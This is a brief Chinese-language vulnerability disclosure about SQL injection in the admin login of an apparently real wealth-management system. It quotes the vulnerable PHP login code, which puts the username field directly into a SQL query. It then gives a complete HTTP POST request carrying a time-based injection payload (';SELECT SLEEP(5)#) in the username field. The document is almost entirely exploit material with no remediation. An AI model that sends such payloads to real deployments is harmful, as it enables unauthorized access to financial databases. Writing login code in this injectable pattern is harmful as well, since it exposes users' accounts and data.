某裂变还款模式理财系统存在SQL注入漏洞

public function login(){  if ($this->post) {    header('Content-type:text/json');    $fields = $_POST;          if($_SESSION['captcha']!=$fields['vercode'] || $fields['vercode']==''){echo json_encode(array('status'=>0,'msg'=>'验证码错误'));exit();}    if($fields['username']==''){echo json_encode(array('status'=>0,'msg'=>'手机号码不能为空'));exit();}    if($fields['password']==''){echo json_encode(array('status'=>0,'msg'=>'登录密码不能为空'));exit();}      $mobile    =$fields['username'];    $passwd    =md5($fields['password']);    $sql    ="select * from w_admin where w_name='$mobile' and w_pass='$passwd'";    $user    = $this->db->query($sql, 2);    if(!empty($user)){      if($user['w_type']>0){        $_SESSION['admin_id']   = $user['id'];        $_SESSION['captcha']  ='';        $this->db->update('w_admin', array('w_ltime'=>time()),array('id'=>$user['id']));                  echo json_encode(array('status'=>1,'msg'=>'登录成功'));exit();      }else{        echo json_encode(array('status'=>0,'msg'=>'您的账户未审核，请联系客服审核'));exit();      }              }else{      echo json_encode(array('status'=>0,'msg'=>'您的账号或密码错误，请检查后重试'));exit();    }        }else{    $this->display('index.login');    }  }

POST /admin.php?m=index&c=login HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 0Content-Type: application/x-www-form-urlencodedCookie: BJYADMIN=2150gjbkj92r835kg2dn9u9i75; PHPSESSID=tf2ojvoqkpd78010d39icccb4sHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/admin.php?m=index&c=loginSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-siteUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1username=';SELECT SLEEP(5)#&password=123123123&vercode=asd